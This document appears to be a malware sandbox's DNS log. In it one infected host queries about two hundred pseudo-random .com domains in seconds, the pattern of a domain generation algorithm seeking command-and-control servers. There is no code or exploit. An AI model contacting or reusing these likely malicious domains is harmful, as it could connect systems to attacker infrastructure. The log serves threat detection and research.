Nov 11, 2024 18:50:48.305512905 CET	192.168.2.6	1.1.1.1	0x8efe	Standard query (0)	vocyruk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.314147949 CET	192.168.2.6	1.1.1.1	0x7cba	Standard query (0)	gahycuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.319048882 CET	192.168.2.6	1.1.1.1	0x380b	Standard query (0)	qebyhuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.320292950 CET	192.168.2.6	1.1.1.1	0xced0	Standard query (0)	lyrywoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.323034048 CET	192.168.2.6	1.1.1.1	0x917e	Standard query (0)	lyxynej.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.323292971 CET	192.168.2.6	1.1.1.1	0xdd92	Standard query (0)	lysytyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.323503971 CET	192.168.2.6	1.1.1.1	0xf03a	Standard query (0)	qexyfag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.323684931 CET	192.168.2.6	1.1.1.1	0x83aa	Standard query (0)	vopyrem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.324126005 CET	192.168.2.6	1.1.1.1	0x1292	Standard query (0)	lykyvor.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.324388027 CET	192.168.2.6	1.1.1.1	0xbaac	Standard query (0)	galyvaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.335860014 CET	192.168.2.6	1.1.1.1	0xd95e	Standard query (0)	pujyjav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.336209059 CET	192.168.2.6	1.1.1.1	0x1155	Standard query (0)	puvygyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.336580992 CET	192.168.2.6	1.1.1.1	0xc6de	Standard query (0)	qetyraq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.336729050 CET	192.168.2.6	1.1.1.1	0xb783	Standard query (0)	pufyxyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.340754986 CET	192.168.2.6	1.1.1.1	0xa44f	Standard query (0)	purydyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.344098091 CET	192.168.2.6	1.1.1.1	0x7034	Standard query (0)	puzydog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.344291925 CET	192.168.2.6	1.1.1.1	0xbb7f	Standard query (0)	vojycit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.348169088 CET	192.168.2.6	1.1.1.1	0xafaa	Standard query (0)	galykes.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.352947950 CET	192.168.2.6	1.1.1.1	0xdb8b	Standard query (0)	lysynur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.355020046 CET	192.168.2.6	1.1.1.1	0x3f59	Standard query (0)	vocygef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.357431889 CET	192.168.2.6	1.1.1.1	0xfd4	Standard query (0)	lygymoj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.357810974 CET	192.168.2.6	1.1.1.1	0x2ced	Standard query (0)	gatyrah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.357810974 CET	192.168.2.6	1.1.1.1	0xfcb8	Standard query (0)	qegyqaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.357960939 CET	192.168.2.6	1.1.1.1	0xb763	Standard query (0)	pumypog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.360435009 CET	192.168.2.6	1.1.1.1	0x5941	Standard query (0)	gacyzuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.362837076 CET	192.168.2.6	1.1.1.1	0xcbc9	Standard query (0)	qebytiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.362837076 CET	192.168.2.6	1.1.1.1	0xa5f2	Standard query (0)	vojyjof.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.363410950 CET	192.168.2.6	1.1.1.1	0xd3a2	Standard query (0)	volykyc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.364743948 CET	192.168.2.6	1.1.1.1	0x2912	Standard query (0)	lyryvex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.365075111 CET	192.168.2.6	1.1.1.1	0xdf3e	Standard query (0)	puvytuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.366985083 CET	192.168.2.6	1.1.1.1	0x9a26	Standard query (0)	lymysan.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.368539095 CET	192.168.2.6	1.1.1.1	0x9cf6	Standard query (0)	lyvytuj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.368700981 CET	192.168.2.6	1.1.1.1	0xc313	Standard query (0)	vowycac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.369884014 CET	192.168.2.6	1.1.1.1	0x26c	Standard query (0)	pupybul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.370193005 CET	192.168.2.6	1.1.1.1	0xeab5	Standard query (0)	ganypih.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.370908976 CET	192.168.2.6	1.1.1.1	0xeb4f	Standard query (0)	vowydef.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.371943951 CET	192.168.2.6	1.1.1.1	0x89b9	Standard query (0)	gatyvyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.372678041 CET	192.168.2.6	1.1.1.1	0xef20	Standard query (0)	qeqysag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.374361038 CET	192.168.2.6	1.1.1.1	0x5d6b	Standard query (0)	vopybyt.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.376610994 CET	192.168.2.6	1.1.1.1	0x1a31	Standard query (0)	gahyhob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.378982067 CET	192.168.2.6	1.1.1.1	0x1f87	Standard query (0)	lyryfyd.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.383774042 CET	192.168.2.6	1.1.1.1	0xf180	Standard query (0)	lykyjad.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.434801102 CET	192.168.2.6	1.1.1.1	0x68c3	Standard query (0)	qetyvep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.492309093 CET	192.168.2.6	1.1.1.1	0x8b97	Standard query (0)	lysyfyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.492383957 CET	192.168.2.6	1.1.1.1	0xe970	Standard query (0)	qekyqop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.492616892 CET	192.168.2.6	1.1.1.1	0x8d45	Standard query (0)	volyqat.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.492616892 CET	192.168.2.6	1.1.1.1	0x87cb	Standard query (0)	qeqyxov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.492634058 CET	192.168.2.6	1.1.1.1	0x30f7	Standard query (0)	pumyxiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.492943048 CET	192.168.2.6	1.1.1.1	0xbcfc	Standard query (0)	qedyfyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.493241072 CET	192.168.2.6	1.1.1.1	0xcfaa	Standard query (0)	vonyzuf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.551476955 CET	192.168.2.6	1.1.1.1	0xe9f1	Standard query (0)	gadyfuh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:48.551964045 CET	192.168.2.6	1.1.1.1	0xbd73	Standard query (0)	puzywel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.787251949 CET	192.168.2.6	1.1.1.1	0xc8e7	Standard query (0)	lymylyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.787858009 CET	192.168.2.6	1.1.1.1	0x9e61	Standard query (0)	puzymig.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.790498972 CET	192.168.2.6	1.1.1.1	0xacda	Standard query (0)	gacyqob.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.920854092 CET	192.168.2.6	1.1.1.1	0xf2f8	Standard query (0)	vojygut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.922207117 CET	192.168.2.6	1.1.1.1	0xe588	Standard query (0)	qetyxiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:51.926886082 CET	192.168.2.6	1.1.1.1	0x6e59	Standard query (0)	qeqylyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.057504892 CET	192.168.2.6	1.1.1.1	0xc6ea	Standard query (0)	gahyfyz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.063374996 CET	192.168.2.6	1.1.1.1	0xa29	Standard query (0)	puvywav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.165766954 CET	192.168.2.6	1.1.1.1	0x856e	Standard query (0)	vocyqaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.168313026 CET	192.168.2.6	1.1.1.1	0x39	Standard query (0)	qegyfyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.169126034 CET	192.168.2.6	1.1.1.1	0xf23	Standard query (0)	gatycoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.170454979 CET	192.168.2.6	1.1.1.1	0xf66a	Standard query (0)	puryxuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.171200991 CET	192.168.2.6	1.1.1.1	0xc112	Standard query (0)	lygyfex.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.171900034 CET	192.168.2.6	1.1.1.1	0x8a9f	Standard query (0)	lyvywed.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.172735929 CET	192.168.2.6	1.1.1.1	0x67a2	Standard query (0)	qexyqog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.173531055 CET	192.168.2.6	1.1.1.1	0xdec3	Standard query (0)	vowyzuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.174280882 CET	192.168.2.6	1.1.1.1	0xb72e	Standard query (0)	pufydep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.174395084 CET	192.168.2.6	1.1.1.1	0x5d2	Standard query (0)	gaqyzuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.174810886 CET	192.168.2.6	1.1.1.1	0xdd08	Standard query (0)	gadydas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.176392078 CET	192.168.2.6	1.1.1.1	0x4212	Standard query (0)	lymytux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.176793098 CET	192.168.2.6	1.1.1.1	0xfff1	Standard query (0)	lyxymin.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.177299023 CET	192.168.2.6	1.1.1.1	0xbe00	Standard query (0)	vofybyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.181627989 CET	192.168.2.6	1.1.1.1	0xb5ec	Standard query (0)	pujymip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.225616932 CET	192.168.2.6	1.1.1.1	0xa625	Standard query (0)	qexykaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.225888968 CET	192.168.2.6	1.1.1.1	0xb6fc	Standard query (0)	ganyrys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.226002932 CET	192.168.2.6	1.1.1.1	0x3bed	Standard query (0)	vowypit.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.226181030 CET	192.168.2.6	1.1.1.1	0x3493	Standard query (0)	gacykeh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.226881981 CET	192.168.2.6	1.1.1.1	0x236e	Standard query (0)	qegynuv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.227183104 CET	192.168.2.6	1.1.1.1	0x3893	Standard query (0)	purypol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.227344990 CET	192.168.2.6	1.1.1.1	0xb903	Standard query (0)	gaqypiz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.228296995 CET	192.168.2.6	1.1.1.1	0xb1c1	Standard query (0)	gahynus.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.228327036 CET	192.168.2.6	1.1.1.1	0x82cc	Standard query (0)	qetysal.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.228461027 CET	192.168.2.6	1.1.1.1	0x8563	Standard query (0)	vojymic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.228517056 CET	192.168.2.6	1.1.1.1	0xf27c	Standard query (0)	puvylyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.228696108 CET	192.168.2.6	1.1.1.1	0x5eaf	Standard query (0)	pujygul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.228718996 CET	192.168.2.6	1.1.1.1	0xfdda	Standard query (0)	vopycom.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.228851080 CET	192.168.2.6	1.1.1.1	0x96c2	Standard query (0)	pumytup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.260668039 CET	192.168.2.6	1.1.1.1	0xca1a	Standard query (0)	qekyhil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.260921001 CET	192.168.2.6	1.1.1.1	0xe3a7	Standard query (0)	galyhiw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.261267900 CET	192.168.2.6	1.1.1.1	0x52fa	Standard query (0)	qedyveg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.261545897 CET	192.168.2.6	1.1.1.1	0x78d6	Standard query (0)	volyjok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.262326002 CET	192.168.2.6	1.1.1.1	0x2cb2	Standard query (0)	qeqytup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.262451887 CET	192.168.2.6	1.1.1.1	0x8de5	Standard query (0)	puzyjoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.262777090 CET	192.168.2.6	1.1.1.1	0xccbd	Standard query (0)	ganyzub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.263106108 CET	192.168.2.6	1.1.1.1	0x9fa	Standard query (0)	volymum.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.263403893 CET	192.168.2.6	1.1.1.1	0x587b	Standard query (0)	lykymox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.263465881 CET	192.168.2.6	1.1.1.1	0xd6ac	Standard query (0)	vonyryc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.294856071 CET	192.168.2.6	1.1.1.1	0x300f	Standard query (0)	qebylug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.295133114 CET	192.168.2.6	1.1.1.1	0x7eed	Standard query (0)	pufybyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.295659065 CET	192.168.2.6	1.1.1.1	0x426c	Standard query (0)	lykygur.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.296216965 CET	192.168.2.6	1.1.1.1	0x42ad	Standard query (0)	vofydac.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.296726942 CET	192.168.2.6	1.1.1.1	0xcfcb	Standard query (0)	lyvylyn.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.297211885 CET	192.168.2.6	1.1.1.1	0x46dd	Standard query (0)	lyryxij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.297929049 CET	192.168.2.6	1.1.1.1	0xf124	Standard query (0)	vocykem.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.312156916 CET	192.168.2.6	1.1.1.1	0xfb48	Standard query (0)	vopydek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.312351942 CET	192.168.2.6	1.1.1.1	0xaaa7	Standard query (0)	qebyrev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.312582016 CET	192.168.2.6	1.1.1.1	0xbca1	Standard query (0)	gatydaw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.403160095 CET	192.168.2.6	1.1.1.1	0xf0cd	Standard query (0)	lyxyjaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:52.403238058 CET	192.168.2.6	1.1.1.1	0xc154	Standard query (0)	gadyveb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.151535988 CET	192.168.2.6	1.1.1.1	0xa108	Standard query (0)	pufypiq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.152921915 CET	192.168.2.6	1.1.1.1	0x376b	Standard query (0)	gaqykab.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.158427954 CET	192.168.2.6	1.1.1.1	0xc28a	Standard query (0)	qegysoq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.166302919 CET	192.168.2.6	1.1.1.1	0xed8a	Standard query (0)	lykyfen.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.166543961 CET	192.168.2.6	1.1.1.1	0x8528	Standard query (0)	pujydag.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.172735929 CET	192.168.2.6	1.1.1.1	0x351f	Standard query (0)	vojydam.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.174266100 CET	192.168.2.6	1.1.1.1	0x8f4f	Standard query (0)	vopyzuc.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.177658081 CET	192.168.2.6	1.1.1.1	0x5a7d	Standard query (0)	lyvymir.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.177833080 CET	192.168.2.6	1.1.1.1	0x2122	Standard query (0)	gatyzys.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.181812048 CET	192.168.2.6	1.1.1.1	0x8c70	Standard query (0)	qetylyv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.186717033 CET	192.168.2.6	1.1.1.1	0xe305	Standard query (0)	puvymul.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.192011118 CET	192.168.2.6	1.1.1.1	0xb3e4	Standard query (0)	lyryled.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.193260908 CET	192.168.2.6	1.1.1.1	0xeadf	Standard query (0)	vocymut.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.194021940 CET	192.168.2.6	1.1.1.1	0x608	Standard query (0)	purylev.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.194273949 CET	192.168.2.6	1.1.1.1	0xd455	Standard query (0)	qexynyp.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.195256948 CET	192.168.2.6	1.1.1.1	0xb195	Standard query (0)	vowykaf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.195637941 CET	192.168.2.6	1.1.1.1	0x5053	Standard query (0)	qekyfeg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.197156906 CET	192.168.2.6	1.1.1.1	0xc838	Standard query (0)	vonyqok.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.205200911 CET	192.168.2.6	1.1.1.1	0xbd65	Standard query (0)	gahyvew.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.205535889 CET	192.168.2.6	1.1.1.1	0x91d2	Standard query (0)	vojybek.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.233031988 CET	192.168.2.6	1.1.1.1	0x6519	Standard query (0)	gacynuz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.233299971 CET	192.168.2.6	1.1.1.1	0x8cd6	Standard query (0)	lygysij.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.233489037 CET	192.168.2.6	1.1.1.1	0x3376	Standard query (0)	lygyvar.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.234206915 CET	192.168.2.6	1.1.1.1	0x8d47	Standard query (0)	volygyf.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.234489918 CET	192.168.2.6	1.1.1.1	0x8c4b	Standard query (0)	pumywaq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.234659910 CET	192.168.2.6	1.1.1.1	0x6d01	Standard query (0)	lysyxux.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.234931946 CET	192.168.2.6	1.1.1.1	0xd530	Standard query (0)	gahydoh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.235079050 CET	192.168.2.6	1.1.1.1	0x2a91	Standard query (0)	galyfyb.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.235327959 CET	192.168.2.6	1.1.1.1	0xc599	Standard query (0)	ganyqow.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.235763073 CET	192.168.2.6	1.1.1.1	0xe1a2	Standard query (0)	pupyxup.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.236223936 CET	192.168.2.6	1.1.1.1	0x1b0	Standard query (0)	pumylel.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.236265898 CET	192.168.2.6	1.1.1.1	0x5825	Standard query (0)	vopypif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.236494064 CET	192.168.2.6	1.1.1.1	0xf26b	Standard query (0)	lysysod.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.236588001 CET	192.168.2.6	1.1.1.1	0x9f7f	Standard query (0)	qebykap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.236764908 CET	192.168.2.6	1.1.1.1	0xea99	Standard query (0)	vonyket.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.236876011 CET	192.168.2.6	1.1.1.1	0x7fc5	Standard query (0)	qekynuq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.237044096 CET	192.168.2.6	1.1.1.1	0xb49b	Standard query (0)	lyvyjox.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.237140894 CET	192.168.2.6	1.1.1.1	0x867	Standard query (0)	pupypiv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.237397909 CET	192.168.2.6	1.1.1.1	0x9eec	Standard query (0)	ganykaz.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.251729965 CET	192.168.2.6	1.1.1.1	0xe99b	Standard query (0)	puvyjop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.251810074 CET	192.168.2.6	1.1.1.1	0x1e26	Standard query (0)	pujybyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.252093077 CET	192.168.2.6	1.1.1.1	0xee97	Standard query (0)	lykynyj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.252381086 CET	192.168.2.6	1.1.1.1	0x4117	Standard query (0)	qebyqil.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.252417088 CET	192.168.2.6	1.1.1.1	0xe36f	Standard query (0)	qetytug.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.252752066 CET	192.168.2.6	1.1.1.1	0x2d46	Standard query (0)	lymywaj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.260767937 CET	192.168.2.6	1.1.1.1	0xd054	Standard query (0)	lyrytun.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.261311054 CET	192.168.2.6	1.1.1.1	0x8c16	Standard query (0)	gatypub.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.261496067 CET	192.168.2.6	1.1.1.1	0xb0dd	Standard query (0)	gacyhis.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.268475056 CET	192.168.2.6	1.1.1.1	0x133b	Standard query (0)	purytyg.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.268645048 CET	192.168.2.6	1.1.1.1	0x5be8	Standard query (0)	lyxygud.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.268918991 CET	192.168.2.6	1.1.1.1	0xe5f0	Standard query (0)	pufycol.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.271554947 CET	192.168.2.6	1.1.1.1	0x8706	Standard query (0)	vocyjic.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.271820068 CET	192.168.2.6	1.1.1.1	0x1aa1	Standard query (0)	gaqyreh.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.272075891 CET	192.168.2.6	1.1.1.1	0xcd99	Standard query (0)	vowyrym.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.275367975 CET	192.168.2.6	1.1.1.1	0xfa9e	Standard query (0)	qeqyreq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.276624918 CET	192.168.2.6	1.1.1.1	0x3e29	Standard query (0)	puzyguv.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.276885986 CET	192.168.2.6	1.1.1.1	0x2b4f	Standard query (0)	qedysov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:58.295135021 CET	192.168.2.6	1.1.1.1	0x4018	Standard query (0)	qedyxip.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.787137985 CET	192.168.2.6	1.1.1.1	0x5cee	Standard query (0)	gahycib.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.788686037 CET	192.168.2.6	1.1.1.1	0x2a75	Standard query (0)	lyvyguj.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.788836956 CET	192.168.2.6	1.1.1.1	0x16cf	Standard query (0)	puvygyq.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.789309025 CET	192.168.2.6	1.1.1.1	0x1986	Standard query (0)	qetyrap.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.790327072 CET	192.168.2.6	1.1.1.1	0x4734	Standard query (0)	vojycif.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.791728020 CET	192.168.2.6	1.1.1.1	0x475f	Standard query (0)	pujycov.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.791728020 CET	192.168.2.6	1.1.1.1	0x4f06	Standard query (0)	gatyrez.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.792277098 CET	192.168.2.6	1.1.1.1	0xa6d8	Standard query (0)	qeqykog.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.792846918 CET	192.168.2.6	1.1.1.1	0xfbc5	Standard query (0)	vofypuk.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.792846918 CET	192.168.2.6	1.1.1.1	0x7166	Standard query (0)	puzybep.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.793204069 CET	192.168.2.6	1.1.1.1	0xaea7	Standard query (0)	gadypuw.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.793771982 CET	192.168.2.6	1.1.1.1	0x8f9	Standard query (0)	vonyjim.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.794197083 CET	192.168.2.6	1.1.1.1	0x6086	Standard query (0)	lysytyr.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.794801950 CET	192.168.2.6	1.1.1.1	0xc817	Standard query (0)	volybec.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.795169115 CET	192.168.2.6	1.1.1.1	0x3c74	Standard query (0)	lymyjon.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.795607090 CET	192.168.2.6	1.1.1.1	0xf46b	Standard query (0)	galyvas.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.795789957 CET	192.168.2.6	1.1.1.1	0x1fd7	Standard query (0)	purywop.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.796120882 CET	192.168.2.6	1.1.1.1	0x78fe	Standard query (0)	pupytyl.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.796406031 CET	192.168.2.6	1.1.1.1	0x34e7	Standard query (0)	qekyvav.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.796690941 CET	192.168.2.6	1.1.1.1	0x5369	Standard query (0)	gacyvah.com	A (IP address)	IN (0x0001)	false
Nov 11, 2024 18:50:59.797195911 CET	192.168.2.6	1.1.1.1	0xc694	Standard query (0)	lykyvod.com	A (IP address)	IN (0x0001)	false
